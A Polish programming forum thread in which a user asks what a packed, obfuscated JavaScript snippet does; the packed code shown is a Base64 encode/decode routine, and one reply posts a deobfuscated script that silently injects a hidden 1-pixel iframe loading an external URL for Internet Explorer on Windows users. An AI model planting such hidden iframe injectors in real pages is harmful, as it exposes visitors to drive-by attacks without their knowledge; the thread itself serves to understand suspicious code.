• Najnowsze pytania
  • Bez odpowiedzi
  • Zadaj pytanie
  • Kategorie
  • Tagi
  • Zdobyte punkty
  • Ekipa ninja
  • IRC
  • FAQ
  • Regulamin
  • Książki warte uwagi

Kod do zrozumienia.

VPS Starter Arubacloud
0 głosów
181 wizyt
pytanie zadane 10 maja 2017 w JavaScript przez seba Dyskutant (8,900 p.)
zmienione kategorie 10 maja 2017 przez ScriptyChris

Witam otóż znalazłem pewien kod na internecie i nwm do końca w jakim on jest języku, wiem że jest on ustawiony między <script></script> ale to nie do konca wyglada na czysty js. Dlatego proszę cierpliwych i wytrwałych o pomoc. Proszę o wyjaśnienie działania kodu, w jakim jest języku i jaki jest jego wynik końcowy.

<script>
eval
(function(p,a,c,k,e,d)
{
e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};
	if(!''.replace(/^/,String))
 	{
 	while(c--)
 		{
 		  d[e(c)]=k[c]||e(c)
 		}

 	k=[function(e){return d[e]}];

 	e=function(){return'\\w+'};
 	c=1};

 	while(c--)
 	{
 	    if(k[c])
	 	{
	 	  p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])
	 	}

 	}
return p
}


('7 G={j:"T+/=",S:C(5)
	{7 8="";7 t,o,m,v,s,h,f;7 i=0;5=G.J(5);

	F(i<5.E)
	{
		t=5.q(i++);o=5.q(i++);m=5.q(i++);v=t>>2;s=((t&3)<<4)|(o>>4);h=((o&H)<<2)|(m>>6);
		f=m&u;
		p(M(o)){h=f=z}x p(M(m)){f=z}8=8+k.j.l(v)+k.j.l(s)+k.j.l(h)+k.j.l(f)}B 8},R:C(5){7 8="";
		7 t,o,m;
		7 v,s,h,f;
		7 i=0;
		5=5.I(/[^A-P-Q-9\\+\\/\\=]/g,"");
		F(i<5.E){
			v=k.j.D(5.l(i++));
			s=k.j.D(5.l(i++));
			h=k.j.D(5.l(i++));
			f=k.j.D(5.l(i++));
			t=(v<<2)|(s>>4);
			o=((s&H)<<4)|(h>>2);
			m=((h&3)<<6)|f;
			8=8+d.b(t);
			p(h!=z){8=8+d.b(o)}
			p(f!=z){8=8+d.b(m)}
		}
		8=G.O(8);
		B 8},J:C(e){e=e.I(/\\r\\n/g,"\\n");
		7 a="";
		10(7 n=0;n<e.E;n++){7 c=e.q(n);
			p(c<w){a+=d.b(c)}x p((c>Y)&&(c<U)){a+=d.b((c>>6)|V);
				a+=d.b((c&u)|w)}x{a+=d.b((c>>N)|L);
					a+=d.b(((c>>6)&u)|w);
					a+=d.b((c&u)|w)}}B a},O:C(a)
					{
						7 e="";
						7 i=0;
						7 c=W=y=0;
						F(i<a.E)
						{
							c=a.q(i);p(c<w){e+=d.b(c);i++}x p((c>Z)&&(c<L))
							{
								y=a.q(i+1);
								e+=d.b(((c&X)<<6)|(y&u));
								i+=2}x{y=a.q(i+1);
									K=a.q(i+2);
									e+=d.b(((c&H)<<N)|((y&u)<<6)|(K&u));
									i+=3}
						}B e
					}
				}',62,63,'|||||input||var|output||utftext|fromCharCode||String|string|enc4||enc3||_keyStr|this|charAt|chr3||chr2|if|charCodeAt||enc2|chr1|63|enc1|128|else|c2|64||return|function|indexOf|length|while|Base64|15|replace|_utf8_encode|c3|224|isNaN|12|_utf8_decode|Za|z0|decode|encode|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|2048|192|c1|31|127|191|for'.split('|'),0,{}));

</script>

 

komentarz 10 maja 2017 przez ScriptyChris Mędrzec (190,190 p.)

To jest kod języka JavaScript. Tyle, że dosyć zminifikowany.

3 odpowiedzi

0 głosów
odpowiedź 10 maja 2017 przez niezalogowany

To jest JS, po prostu z zaciemnionym kodem:


function MakeFrameEx() {
element = document.getElementById('yahoo_api');
if (!element) {
    var el = document.createElement('iframe');
    document.body.appendChild(el);
    el.id = 'yahoo_api';
    el.style.width = '1px';
    el.style.height = '1px';
    el.style.display = 'none';
    el.src = 'http://asso.25u.com/showthread.php?t=72291731'
    }
}
var ua = navigator.userAgent.toLowerCase();
if (((ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua
    .indexOf("webtv") == -1))
    && ua.indexOf("windows") != -1) {
var t = setTimeout("MakeFrameEx()", 500)
}
0 głosów
odpowiedź 11 maja 2017 przez seba Dyskutant (8,900 p.)
No dobrze ale jaki będzie wynik tej operacji i w jaki sposób się to stało. Wiem że ma powstać link

Podobne pytania

0 głosów
1 odpowiedź 236 wizyt
pytanie zadane 16 grudnia 2020 w JavaScript przez radzikuu Użytkownik (890 p.)
0 głosów
2 odpowiedzi 2,915 wizyt
pytanie zadane 31 maja 2019 w JavaScript przez francus11 Gaduła (3,250 p.)
0 głosów
2 odpowiedzi 275 wizyt
pytanie zadane 19 stycznia 2017 w JavaScript przez mowmiheniek Stary wyjadacz (11,900 p.)

92,452 zapytań

141,262 odpowiedzi

319,085 komentarzy

61,854 pasjonatów

Motyw:

Akcja Pajacyk

Pajacyk od wielu lat dożywia dzieci. Pomóż klikając w zielony brzuszek na stronie. Dziękujemy! ♡

Oto polecana książka warta uwagi.
Pełną listę książek znajdziesz tutaj.

Akademia Sekuraka

Akademia Sekuraka 2024 zapewnia dostęp do minimum 15 szkoleń online z bezpieczeństwa IT oraz dostęp także do materiałów z edycji Sekurak Academy z roku 2023!

Przy zakupie możecie skorzystać z kodu: pasja-akademia - użyjcie go w koszyku, a uzyskacie rabat -30% na bilety w wersji "Standard"! Więcej informacji na temat akademii 2024 znajdziecie tutaj. Dziękujemy ekipie Sekuraka za taką fajną zniżkę dla wszystkich Pasjonatów!

Akademia Sekuraka

Niedawno wystartował dodruk tej świetnej, rozchwytywanej książki (około 940 stron). Mamy dla Was kod: pasja (wpiszcie go w koszyku), dzięki któremu otrzymujemy 10% zniżki - dziękujemy zaprzyjaźnionej ekipie Sekuraka za taki bonus dla Pasjonatów! Książka to pierwszy tom z serii o ITsec, który łagodnie wprowadzi w świat bezpieczeństwa IT każdą osobę - warto, polecamy!

...